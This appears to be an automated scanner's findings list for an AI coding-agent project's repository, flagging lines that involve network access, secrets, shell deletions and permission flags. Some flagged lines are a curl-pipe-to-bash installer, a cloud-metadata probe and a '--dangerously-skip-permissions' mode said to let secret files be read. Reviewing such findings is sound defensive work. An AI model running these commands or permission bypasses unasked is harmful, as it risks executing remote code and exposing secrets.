Skips the bundled Bun binary (62 to 86 MB per platform), the Claude Agent SDK and the OpenTelemetry packages. You then need Bun on `PATH` (`curl -fsSL https://bun.sh/install | bash`); without it every command exits with an error that says h - Network accessline 60
| Node.js | 20+ (22 LTS is the CI target) | | git | any recent version | | curl | any | - Network accessline 62
| curl | any | - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Network accessline 224
- `loki: command not found`: the global bin directory of your package manager is not on `PATH` (`npm prefix -g` shows where npm installs). - `the Loki 10 engine cannot run on this machine: no working bun` (exit 2, nothing runs): install Bun - Dangerous shell operationline 225
- `the Loki 10 engine cannot run on this machine: no working bun` (exit 2, nothing runs): install Bun (`curl -fsSL https://bun.sh/install | bash`), or reinstall without `--omit=optional`. - Network accessline 225
- `the Loki 10 engine cannot run on this machine: no working bun` (exit 2, nothing runs): install Bun (`curl -fsSL https://bun.sh/install | bash`), or reinstall without `--omit=optional`.
docs/KNOWN-ISSUES.md
- Network accessline 3
Issues in the current release that are known and not yet fixed. Report new ones with `loki crash` or at https://github.com/asklokesh/loki-mode/issues.
docs/OTEL-COLLECTOR.md
- Access to secretsline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Access to secretsline 12
[Credential-related source omitted] - Network accessline 14
3. Point Loki at it: `LOKI_OTEL_ENDPOINT=http://localhost:4318 LOKI_OTEL_GENAI=1 loki start ...`. - Network accessline 16
To use a subset of vendors, edit only `service.pipelines.traces.exporters` and list the vendors you use. The collector validates every defined exporter even when it is not listed, so the required fields of the other vendors carry inert defa
docs/PRIVACY.md
- Network accessline 69
- Endpoint: `https://us.i.posthog.com/capture/` (override with - Network accessline 196
no_provider | not_logged_in | not_a_repo | git_identity | node | python3 | jq | git | curl | disk | skill_symlink | other - Network accessline 343
Open an issue at https://github.com/asklokesh/loki-mode/issues and we will
docs/QUICKSTART.md
docs/SIGNED-RECEIPTS.md
- Network accessline 51
`tree_sha`, `receipt_sha256`, `run_id` and `built_at` in place, with the same Ed25519 key as a deploy record. Serve the result at `/.well-known/loki-provenance.json`. `loki verify --url https://host - Network accessline 52
Ed25519 key as a deploy record. Serve the result at `/.well-known/loki-provenance.json`. `loki verify --url https://host [--pubkey FILE] [--receipt FILE] [--expect-sha SHA]` fetches it (5s timeout, - Network accessline 53
`/.well-known/loki-provenance.json`. `loki verify --url https://host - Network accessline 83
# Third party, offline. Needs proof.json and jwks.json -- nothing else. curl -s https://loki.example.com/.well-known/jwks.json > jwks.json - Network accessline 84
curl -s https://loki.example.com/.well-known/jwks.json > jwks.json - Network accessline 87
# Or fetch the key set directly from the server that produced the receipt. loki proof verify <id> --jwks https://loki.example.com - Network accessline 88
loki proof verify <id> --jwks https://loki.example.com - Network accessline 122
`loki verify <run-id> --export-dsse > receipt.dsse.json` prints a verified v10 receipt as an in-toto Statement v1 (`_type` `https://in-toto.io/Statement/v1`) - Network accessline 123
receipt as an in-toto Statement v1 (`_type` `https://in-toto.io/Statement/v1`) - Network accessline 124
inside a DSSE envelope (`payloadType` `application/vnd.in-toto+json`). The subject is the commit and tree the receipt covers (`gitCommit`, `gitTree`), the `predicateType` is `https://autonomi.dev/loki/receipt/v10`, and the predicate is - Network accessline 125
subject is the commit and tree the receipt covers (`gitCommit`, `gitTree`), the `predicateType` is `https://autonomi.dev/loki/receipt/v10`, and the predicate is the receipt body unchanged. It is signed with the same Ed25519 receipt key (the - Network accessline 126
`predicateType` is `https://autonomi.dev/loki/receipt/v10`, and the predicate is
docs/air-gapped.md
docs/alternative-installations.md
- Network accessline 12
# Clone to Claude Code skills directory git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Network accessline 13
git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Network accessline 108
# Download the latest release and extract to the skills directory VERSION=$(npm view loki-mode version) curl -sL https://github.com/asklokesh/loki-mode/archive/refs/tags/v${VERSION}.tar.gz | tar xz - Network accessline 109
VERSION=$(npm view loki-mode version) curl -sL https://github.com/asklokesh/loki-mode/archive/refs/tags/v${VERSION}.tar.gz | tar xz mv loki-mode-${VERSION} ~/.claude/skills/loki-mode - Network accessline 110
curl -sL https://github.com/asklokesh/loki-mode/archive/refs/tags/v${VERSION}.tar.gz | tar xz - Access to secretsline 136
[Credential-related source omitted] - Network accessline 143
| --- | --- | --- | | `npm install -g loki-mode` | Loki, a bundled Bun binary and the Claude Agent SDK as npm optional dependencies | Node 20+, git, curl, and one execution path above (python3 and jq are optional) | | `npm install -g loki-m - Network accessline 144
| `npm install -g loki-mode` | Loki, a bundled Bun binary and the Claude Agent SDK as npm optional dependencies | Node 20+, git, curl, and one execution path above (python3 and jq are optional) | | `npm install -g loki-mode --omit=optional` - Network accessline 145
| `npm install -g loki-mode --omit=optional` (slim) | Loki only; no bundled Bun, no Agent SDK | Everything above, plus Bun from https://bun.sh for the Bun route. Without Bun, `bin/loki` falls back to the bash CLI. The API-key path is unavai - Network accessline 161
| Requirement | Level | Check | Fix | | --- | --- | --- | --- | | Node.js 20 or newer | required | `node` on PATH, version 20.0 or newer | install Node 20+ from https://nodejs.org | - Network accessline 162
| --- | --- | --- | --- | | Node.js 20 or newer | required | `node` on PATH, version 20.0 or newer | install Node 20+ from https://nodejs.org | | Python 3.8 or newer (deep scans, Python repos, group runs; loki "<goal>" runs without it) | op - Network accessline 163
| Node.js 20 or newer | required | `node` on PATH, version 20.0 or newer | install Node 20+ from https://nodejs.org | - Network accessline 165
| jq (loki status and the bash fallback CLI; loki "<goal>" runs without it) | optional | `jq` on PATH | install jq with your package manager (brew install jq) | | git | required | `git` on PATH | install git with your package manager (brew - Network accessline 166
| git | required | `git` on PATH | install git with your package manager (brew install git) | | curl | required | `curl` on PATH | install curl with your package manager (brew install curl) | | bash 4.0 or newer | optional | `bash` on PATH, - Network accessline 167
| curl | required | `curl` on PATH | install curl with your package manager (brew install curl) | - Network accessline 169
| Bun 1.3 or newer (bundled by npm install) | optional | `bun` on PATH, version 1.3 or newer | reinstall without --no-optional (npm bundles @oven/bun-*) or install from https://bun.sh; without it loki falls back to the slower bash CLI | - Network accessline 185
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Network accessline 187
| Bun runtime (the SDK loop runs only on the Bun route) | required | `bun` on PATH, version 1.3 or newer | reinstall without --no-optional (npm bundles @oven/bun-*) or install from https://bun.sh | - Access to secretsline 212
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted]
docs/architecture/ADR-001-runtime-migration.md
- Network accessline 34
Sources: - [Bun Blog: Bun is joining Anthropic](https://bun.com/blog/bun-joins-anthropic) - Network accessline 35
- [Bun Blog: Bun is joining Anthropic](https://bun.com/blog/bun-joins-anthropic) - Network accessline 36
- [Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone](https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone)
docs/audit-logging.md
- Network accessline 234
# Recent entries curl "http://localhost:57374/api/audit?limit=50" - Network accessline 235
curl "http://localhost:57374/api/audit?limit=50" - Network accessline 237
# With filters curl "http://localhost:57374/api/audit?event=session.start&limit=100" - Network accessline 238
curl "http://localhost:57374/api/audit?event=session.start&limit=100" - Network accessline 240
# Date range curl "http://localhost:57374/api/audit?start=2026-02-01&end=2026-02-15" - Network accessline 241
curl "http://localhost:57374/api/audit?start=2026-02-01&end=2026-02-15" - Network accessline 259
curl http://localhost:57374/api/audit/summary - Network accessline 355
[Credential-related source omitted] - Network accessline 356
[Credential-related source omitted] - Network accessline 358
https://splunk.example.com:8088/services/collector/raw - Dangerous shell operationline 497
find ~/.loki/dashboard/audit/ -name "*.jsonl" -mtime +30 -delete - Network accessline 507
# Test syslog connectivity nc -zv syslog.example.com 514 - Network accessline 508
nc -zv syslog.example.com 514
docs/authentication.md
- Network accessline 14
Both methods can be enabled simultaneously and provide access to the dashboard API at `http://localhost:57374` (or `https://` with TLS enabled). - Network accessline 57
[Credential-related source omitted] - Network accessline 58
http://localhost:57374/api/status - Network accessline 105
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Network accessline 110
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 148
export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 155
export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant}/v2.0 - Network accessline 162
export LOKI_OIDC_ISSUER=https://your-org.okta.com - Network accessline 208
export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 209
export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 222
enabled: true oidc: issuer: https://accounts.google.com - Network accessline 223
oidc: issuer: https://accounts.google.com client_id: your-client-id.apps.googleusercontent.com - Network accessline 224
issuer: https://accounts.google.com - Access to secretsline 306
[Credential-related source omitted] - Network accessline 311
[Credential-related source omitted] - Network accessline 312
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Network accessline 313
http://localhost:57374/api/status -v - Network accessline 319
# Verify issuer URL is reachable curl https://accounts.google.com/.well-known/openid-configuration - Network accessline 320
curl https://accounts.google.com/.well-known/openid-configuration - Network accessline 328
# Check redirect URI is whitelisted in identity provider # Should be: http://localhost:57374/auth/oidc/callback - Network accessline 329
# Should be: http://localhost:57374/auth/oidc/callback - Network accessline 362
[Credential-related source omitted] - Network accessline 363
[Credential-related source omitted] - Network accessline 364
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted] - Network accessline 366
-d '{"prd": "./prd.md"}' \ http://loki-server:57374/api/control/start - Network accessline 367
http://loki-server:57374/api/control/start - Network accessline 380
def get_status(self): response = requests.get( - Network accessline 381
response = requests.get( - Network accessline 387
def start_session(self, prd_file): response = requests.post( - Network accessline 388
response = requests.post( - Network accessline 395
client = LokiClient("http://localhost:57374", "loki_xxx...")
docs/authorization.md
- Network accessline 228
[Credential-related source omitted] - Network accessline 229
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted] - Network accessline 230
http://localhost:57374/api/status - Network accessline 267
# Production - OIDC with a least-privilege default export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.example.com - Network accessline 268
export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.example.com export LOKI_OIDC_CLIENT_ID=loki-prod - Network accessline 269
export LOKI_OIDC_ISSUER=https://accounts.example.com - Network accessline 389
[Credential-related source omitted] - Network accessline 390
[Credential-related source omitted] - Network accessline 391
http://localhost:57374/api/enterprise/rbac/check?scope=control - Network accessline 405
export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.example.com - Network accessline 406
export LOKI_OIDC_ISSUER=https://accounts.example.com
docs/control-plane-container.md
docs/control-plane-migration.md
- Network accessline 26
- Bun is required (https://bun.sh). Without it `loki dashboard` says so and does not start a server.
docs/cost-controls.md
- Access to secretsline 64
[Credential-related source omitted]
docs/dev/architecture-reference.md
- Dangerous shell operationline 112
This fail-closed direction is DELIBERATE, not a bug: on the agent-authored route the gated agent writes its own counter-evidence, so mechanical verification is forgeable. On bash the only exits from a Critical/High BLOCK are to fix the find - Network accessline 127
`prepare_worktree(source_repo, dest, branch, setup=None, base=None)` creates an isolated git worktree and returns `{path, base_sha, deps, left_out_changes, deps_skipped}`. The start point is `origin/HEAD` after a fetch (when a remote exists - Access to secretsline 148
[Credential-related source omitted]
docs/dev/release-checklist.md
- Network accessline 96
loki web --no-open & sleep 3 curl -s http://127.0.0.1:57374/ | grep -q "Loki" && echo "PASS: web app serves" || echo "FAIL" - Network accessline 97
sleep 3 curl -s http://127.0.0.1:57374/ | grep -q "Loki" && echo "PASS: web app serves" || echo "FAIL" curl -s http://127.0.0.1:57374/api/status | python3 -c "import json,sys; json.load(sys.stdin)" 2>/dev/null && echo "PASS: API responds" | - Network accessline 98
curl -s http://127.0.0.1:57374/ | grep -q "Loki" && echo "PASS: web app serves" || echo "FAIL" - Dangerous shell operationline 99
curl -s http://127.0.0.1:57374/api/status | python3 -c "import json,sys; json.load(sys.stdin)" 2>/dev/null && echo "PASS: API responds" || echo "FAIL" - Network accessline 99
curl -s http://127.0.0.1:57374/api/status | python3 -c "import json,sys; json.load(sys.stdin)" 2>/dev/null && echo "PASS: API responds" || echo "FAIL" - Dangerous shell operationline 102
rm -f loki-mode-*.tgz
docs/dev/tmp-cleanup.md
docs/environment-variables.md
- Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Instruction override signalline 115
This is not complete secret-file protection: `Read` denies do not stop `Bash(cat .env)` under `--dangerously-skip-permissions`. - Instruction override signalline 116
`Bash(cat .env)` under `--dangerously-skip-permissions`. - Access to secretsline 228
[Credential-related source omitted]
docs/examples/loki-issue-to-pr.yml.example
- Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 353
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted] - Access to secretsline 363
[Credential-related source omitted]
docs/exit-codes.md
- Access to secretsline 448
[Credential-related source omitted] - Network accessline 472
| `start owner/repo#5` | engine10 | engine10:claude | none | default: issue input runs on engine10 regardless of flag order | | `start owner/repo#5 --provider claude` | engine10 | engine10:claude | none | default: issue input runs on engine - Network accessline 473
| `start owner/repo#5 --provider claude` | engine10 | engine10:claude | none | default: issue input runs on engine10 regardless of flag order | | `start https://github.com/owner/repo/issues/5` | engine10 | engine10:claude | none | default: - Network accessline 474
| `start https://github.com/owner/repo/issues/5` | engine10 | engine10:claude | none | default: issue input runs on engine10 regardless of flag order |
docs/git-workflow.md
- Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 284
[Credential-related source omitted] - Network accessline 359
# .pre-commit-config.yaml repos: - repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 360
repos: - repo: https://github.com/pre-commit/pre-commit-hooks hooks: - Network accessline 361
- repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 363
- id: detect-private-key - id: detect-aws-credentials - repo: https://github.com/Yelp/detect-secrets - Network accessline 364
- id: detect-aws-credentials - repo: https://github.com/Yelp/detect-secrets hooks: - Network accessline 365
- repo: https://github.com/Yelp/detect-secrets
docs/image-provenance.md
- Network accessline 44
Requires [cosign](https://github.com/sigstore/cosign) v2.x. Substitute your - Network accessline 57
cosign verify \ --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \ - Network accessline 58
--certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \ - Network accessline 59
--certificate-oidc-issuer https://token.actions.githubusercontent.com \ - Network accessline 87
cosign verify-attestation \ --type cyclonedx \ --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \ - Network accessline 88
--type cyclonedx \ --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \ --certificate-oidc-issuer https://token.actions.githubusercontent.com \ - Network accessline 89
--certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \ - Network accessline 90
--certificate-oidc-issuer https://token.actions.githubusercontent.com \ - Network accessline 158
are genuinely unsigned and no command will make them verify. 4. **The image is not what we published.** Report it at https://github.com/asklokesh/loki-mode/issues and do not run it. - Network accessline 160
https://github.com/asklokesh/loki-mode/issues and do not run it.
docs/index.html
- Network accessline 3
<head> <meta charset="UTF-8"> <meta http-equiv="refresh" content="0; url=https://autonomi.dev/docs"> - Network accessline 4
<meta charset="UTF-8"> <meta http-equiv="refresh" content="0; url=https://autonomi.dev/docs"> <link rel="canonical" href="https://autonomi.dev/docs"> - Network accessline 5
<meta http-equiv="refresh" content="0; url=https://autonomi.dev/docs"> - Network accessline 6
<link rel="canonical" href="https://autonomi.dev/docs"> - Network accessline 61
<h1>Loki Mode</h1> <div class="spinner"></div> <p>Redirecting to <a href="https://autonomi.dev/docs">autonomi.dev/docs</a>...</p> - Network accessline 62
<div class="spinner"></div> <p>Redirecting to <a href="https://autonomi.dev/docs">autonomi.dev/docs</a>...</p> </div> - Network accessline 63
<p>Redirecting to <a href="https://autonomi.dev/docs">autonomi.dev/docs</a>...</p> - Network accessline 64
</div> <script>window.location.replace("https://autonomi.dev/docs");</script> </body> - Network accessline 65
<script>window.location.replace("https://autonomi.dev/docs");</script>
docs/metrics.md
- Network accessline 25
# View metrics curl http://127.0.0.1:47821/v1/metrics - Network accessline 26
curl http://127.0.0.1:47821/v1/metrics - Network accessline 35
GET http://127.0.0.1:47821/v1/metrics - Network accessline 124
# Fetch all metrics from a running Control Plane curl -s http://127.0.0.1:47821/v1/metrics - Network accessline 125
curl -s http://127.0.0.1:47821/v1/metrics - Network accessline 127
# Filter one metric curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd - Network accessline 128
curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd - Network accessline 197
2. Click "Add data source" 3. Select "Prometheus" 4. URL: `http://prometheus-server:9090` - Network accessline 198
3. Select "Prometheus" 4. URL: `http://prometheus-server:9090` 5. Save & Test - Network accessline 199
4. URL: `http://prometheus-server:9090` - Network accessline 285
instances: - prometheus_url: http://127.0.0.1:47821/v1/metrics - Network accessline 286
- prometheus_url: http://127.0.0.1:47821/v1/metrics - Dangerous shell operationline 306
sudo systemctl restart datadog-agent - Network accessline 432
# Check the Control Plane is running loki control status curl http://127.0.0.1:47821/health - Network accessline 434
curl http://127.0.0.1:47821/health - Network accessline 456
# Verify the Control Plane is running on the expected port curl http://127.0.0.1:47821/health - Network accessline 457
curl http://127.0.0.1:47821/health - Network accessline 467
# Test endpoint manually curl http://127.0.0.1:47821/v1/metrics - Network accessline 468
curl http://127.0.0.1:47821/v1/metrics - Network accessline 470
# Check Prometheus targets page open http://prometheus-server:9090/targets - Network accessline 471
open http://prometheus-server:9090/targets - Network accessline 486
cat > /tmp/budget_check.sh <<'EOF' #!/bin/bash COST=$(curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd | awk '{print $2}') - Network accessline 487
#!/bin/bash COST=$(curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd | awk '{print $2}') if (( $(echo "$COST > 4.5" | bc -l) )); then - Network accessline 488
COST=$(curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd | awk '{print $2}') - Network accessline 506
def get_loki_metrics(): response = requests.get("http://127.0.0.1:47821/v1/metrics") - Network accessline 507
response = requests.get("http://127.0.0.1:47821/v1/metrics") - Network accessline 527
- name: slack slack_configs: - api_url: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL' - Network accessline 528
slack_configs: - api_url: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL' channel: '#loki-alerts' - Network accessline 529
- api_url: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL'
docs/network-security.md
- Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 181
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Dangerous shell operationline 244
sudo iptables -L DOCKER-USER -n -v - Network accessline 256
# Verify dashboard is listening on HTTPS curl -k https://localhost:57374/health - Network accessline 257
curl -k https://localhost:57374/health
docs/overview.html
- Network accessline 6
<title>Loki Mode Overview</title> <meta name="description" content="Loki Mode 10 explained for users, engineers, architects, executives, and as a pitch, with real flow diagrams."> <link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 7
<meta name="description" content="Loki Mode 10 explained for users, engineers, architects, executives, and as a pitch, with real flow diagrams."> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https - Network accessline 8
<link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 9
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 10
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> - Network accessline 11
<script src="https://cdn.jsdelivr.net/npm/mermaid@11/dist/mermaid.min.js"></script> - Network accessline 464
<div><span class="p">$</span> loki owner/repo#123</div> </div> <p class="big" style="margin-top:12px"><a href="https://github.com/asklokesh/loki-mode">github.com/asklokesh/loki-mode</a> · <a href="https://www.autonomi.dev">au - Network accessline 465
</div> <p class="big" style="margin-top:12px"><a href="https://github.com/asklokesh/loki-mode">github.com/asklokesh/loki-mode</a> · <a href="https://www.autonomi.dev">autonomi.dev</a></p> </div> - Network accessline 466
<p class="big" style="margin-top:12px"><a href="https://github.com/asklokesh/loki-mode">github.com/asklokesh/loki-mode</a> · <a href="https://www.autonomi.dev">autonomi.dev</a></p> - Network accessline 472
<footer>Loki Mode by <a href="https://www.autonomi.dev">Autonomi</a>. Source-available under BUSL-1.1, free to use.</footer>
docs/sentry-intake.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Network accessline 13
The token is sent only to the Sentry host through a curl config on stdin, never on argv, and is never printed. Implementation: `autonomy/issue-providers.sh` (`normalize_sentry_json`). - Access to secretsline 19
[Credential-related source omitted] - Network accessline 37
2. The signature is `v0=` + hex HMAC-SHA256 over `v0:<X-Slack-Request-Timestamp>:<raw body>`, window 300s, the same contract as `loki-ts/src/contrib/slack_inbound.ts`. Bad, stale or missing signature: 401, nothing queued. 3. The command tex - Network accessline 39
4. On completion the summary is posted to the request's `response_url`, only if it starts with `https://hooks.slack.com/`. Any other host is never contacted. - Network accessline 44
2. `Linear-Signature` is the hex HMAC-SHA256 of the raw body, and the signed `webhookTimestamp` must be within 300s. Otherwise 401. 3. A created issue enqueues `loki start linear:<identifier>` and answers 202 with the job id. Other events a - Network accessline 46
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted]
docs/siem-integration.md
- Network accessline 125
export LOKI_SPLUNK_HEC_URL=https://splunk.example.com:8088/services/collector - Access to secretsline 126
[Credential-related source omitted] - Network accessline 144
# Install Splunk Universal Forwarder wget -O splunkforwarder.tgz 'https://download.splunk.com/...' - Network accessline 145
wget -O splunkforwarder.tgz 'https://download.splunk.com/...' - Network accessline 165
# Configure Loki Mode export LOKI_SPLUNK_HEC_URL=https://splunk.example.com:8088/services/collector - Network accessline 166
export LOKI_SPLUNK_HEC_URL=https://splunk.example.com:8088/services/collector - Access to secretsline 167
[Credential-related source omitted] - Network accessline 172
siem: splunk: hec_url: https://splunk.example.com:8088/services/collector - Network accessline 173
[Credential-related source omitted] - Network accessline 174
hec_url: https://splunk.example.com:8088/services/collector - Network accessline 260
# Elasticsearch output output.elasticsearch: hosts: ["https://elasticsearch.example.com:9200"] - Network accessline 261
output.elasticsearch: hosts: ["https://elasticsearch.example.com:9200"] index: "loki-audit-%{+yyyy.MM.dd}" - Network accessline 262
hosts: ["https://elasticsearch.example.com:9200"] - Network accessline 267
# Kibana dashboards setup.kibana: host: "https://kibana.example.com:5601" - Network accessline 269
host: "https://kibana.example.com:5601" - Network accessline 347
# Local Datadog Agent OTLP receiver (recommended) export LOKI_OTEL_ENDPOINT=http://localhost:4318 - Network accessline 348
export LOKI_OTEL_ENDPOINT=http://localhost:4318 - Network accessline 351
# Agentless intake (set API key + site) export LOKI_OTEL_ENDPOINT=http://localhost:4318 - Network accessline 352
export LOKI_OTEL_ENDPOINT=http://localhost:4318 - Access to secretsline 353
[Credential-related source omitted] - Network accessline 364
export LOKI_OTEL_ENDPOINT=https://api.honeycomb.io # or https://api.eu1.honeycomb.io - Access to secretsline 366
[Credential-related source omitted] - Network accessline 583
# Check syslog connectivity nc -zv syslog.example.com 514 - Network accessline 584
nc -zv syslog.example.com 514
docs/slack.md
docs/trackers.md
- Access to secretsline 20
[Credential-related source omitted] - Network accessline 24
- Jira: `JIRA_EMAIL`, `JIRA_API_TOKEN` and `JIRA_BASE_URL` (for example `https://acme.atlassian.net`). `JIRA_BASE_URL` may be omitted when you pass an `atlassian.net` browse URL. - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted]
docs/v10/GUIDE.md
- Access to secretsline 52
[Credential-related source omitted] - Network accessline 129
loki owner/repo#123 loki https://github.com/owner/repo/issues/123 - Network accessline 130
loki https://github.com/owner/repo/issues/123 - Access to secretsline 160
[Credential-related source omitted] - Network accessline 301
PR: https://github.com/owner/repo/pull/1 - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 430
[Credential-related source omitted] - Access to secretsline 458
[Credential-related source omitted] - Access to secretsline 466
[Credential-related source omitted] - Network accessline 486
| Kind | Base URL | Token | |------|----------|-------| | `openrouter/<id>` | https://openrouter.ai/api | `OPENROUTER_API_KEY` | - Network accessline 487
|------|----------|-------| | `openrouter/<id>` | https://openrouter.ai/api | `OPENROUTER_API_KEY` | | `ollama/<id>` | http://localhost:11434 | none | - Network accessline 488
[Credential-related source omitted] - Access to secretsline 488
[Credential-related source omitted] - Network accessline 489
| `ollama/<id>` | http://localhost:11434 | none | - Network accessline 490
| `lmstudio/<id>` | http://localhost:1234 | none | - Network accessline 491
| `llamacpp/<id>` | http://localhost:8080 | none | - Network accessline 492
| `vllm/<id>` | http://localhost:8000 | none | - Access to secretsline 493
[Credential-related source omitted]
events/__init__.py
- Executable scriptline 1
Executable file
events/bus.py
- Executable scriptline 1
Executable file
events/bus.ts
- Executable scriptline 1
Executable file
events/emit.sh
glama.json
helm/loki-mode/Chart.yaml
helm/loki-mode/templates/networkpolicy.yaml
- Network accessline 20
stops at the cluster edge: it cannot filter traffic once it has left. Egress control to the internet belongs in a NAT gateway, firewall or proxy you run. Verify enforcement with an actual `curl 169.254.169.254` from a worker pod - Network accessline 21
control to the internet belongs in a NAT gateway, firewall or proxy you run. Verify enforcement with an actual `curl 169.254.169.254` from a worker pod before believing any of this. - Network accessline 22
Verify enforcement with an actual `curl 169.254.169.254` from a worker pod
helm/loki-mode/templates/tests/test-receiver-health.yaml
- Network accessline 36
- | import json, sys, urllib.request url = "http://{{ include "loki-mode.fullname" . }}-receiver:{{ .Values.receiver.service.port }}/health" - Network accessline 37
import json, sys, urllib.request url = "http://{{ include "loki-mode.fullname" . }}-receiver:{{ .Values.receiver.service.port }}/health" with urllib.request.urlopen(url, timeout=10) as r: - Network accessline 38
url = "http://{{ include "loki-mode.fullname" . }}-receiver:{{ .Values.receiver.service.port }}/health" with urllib.request.urlopen(url, timeout=10) as r: code, body = r.status, r.read().decode() - Network accessline 39
with urllib.request.urlopen(url, timeout=10) as r:
helm/loki-mode/templates/worker-deployment.yaml
- Access to secretsline 80
[Credential-related source omitted]
integrations/openclaw/README.md
- Access to secretsline 39
[Credential-related source omitted]
integrations/openclaw/SKILL.md
- Access to secretsline 17
[Credential-related source omitted]
integrations/openclaw/bridge/__init__.py
- Executable scriptline 1
Executable file
integrations/openclaw/bridge/__main__.py
- Executable scriptline 1
Executable file
integrations/openclaw/bridge/schema_map.py
- Executable scriptline 1
Executable file
integrations/openclaw/bridge/watcher.py
- Executable scriptline 1
Executable file
integrations/openclaw/scripts/format-progress.sh
- Executable scriptline 1
#!/usr/bin/env bash
integrations/openclaw/scripts/poll-status.sh
- Executable scriptline 1
#!/usr/bin/env bash
integrations/vibe-kanban.md
- Network accessline 3
Loki Mode can optionally integrate with [Vibe Kanban](https://github.com/BloopAI/vibe-kanban) to provide a visual dashboard for monitoring autonomous execution. - Instruction override signalline 36
# Option B: Manual Mode via Claude Code claude --dangerously-skip-permissions - Instruction override signalline 37
claude --dangerously-skip-permissions - Network accessline 218
**Checklist:** 1. Is Vibe Kanban running? Check http://127.0.0.1:53380 - Network accessline 219
1. Is Vibe Kanban running? Check http://127.0.0.1:53380
learning/__init__.py
- Executable scriptline 1
Executable file
learning/aggregate.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted]
learning/aggregator.py
- Executable scriptline 1
Executable file
learning/emit.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 305
[Credential-related source omitted] - Access to secretsline 337
[Credential-related source omitted] - Access to secretsline 338
[Credential-related source omitted] - Access to secretsline 339
[Credential-related source omitted] - Access to secretsline 340
[Credential-related source omitted] - Access to secretsline 341
[Credential-related source omitted] - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 369
[Credential-related source omitted] - Access to secretsline 370
[Credential-related source omitted] - Access to secretsline 388
[Credential-related source omitted] - Access to secretsline 389
[Credential-related source omitted] - Access to secretsline 390
[Credential-related source omitted] - Access to secretsline 391
[Credential-related source omitted] - Access to secretsline 392
[Credential-related source omitted] - Access to secretsline 412
[Credential-related source omitted] - Access to secretsline 413
[Credential-related source omitted] - Access to secretsline 414
[Credential-related source omitted] - Access to secretsline 415
[Credential-related source omitted] - Access to secretsline 416
[Credential-related source omitted] - Access to secretsline 445
